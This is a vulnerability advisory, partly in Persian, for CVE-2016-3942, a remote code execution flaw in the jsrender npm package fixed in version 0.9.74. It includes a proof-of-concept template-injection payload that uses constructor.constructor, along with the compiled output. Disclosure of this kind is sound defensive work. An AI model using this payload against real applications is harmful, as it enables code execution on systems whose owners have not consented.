نسخههای متأثر
npmjsrender
- نسخههای متأثر
- <= 0.9.73
- نسخهٔ اصلاحشده
- 0.9.74
شرح آسیبپذیری
Affected versions of jsrender are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.
Proof of Concept
//POC-REQUEST
{{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}}
{{:#data}}
{{/for}}
//POC-RESPONSE
function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; }
Recommendation
Update to version 0.9.74 or later.
پیوندها
- https://github.com/BorisMoore/jsrender
- https://github.com/BorisMoore/jsrender/commit/f984e139deb0a7648d5b543860ec652c21f6dcf6
- https://github.com/advisories/GHSA-r87w-47m8-22w3
- https://nvd.nist.gov/vuln/detail/CVE-2016-3942
- https://snyk.io/vuln/SNYK-DOTNET-JSRENDER-60173
- https://www.npmjs.com/advisories/97

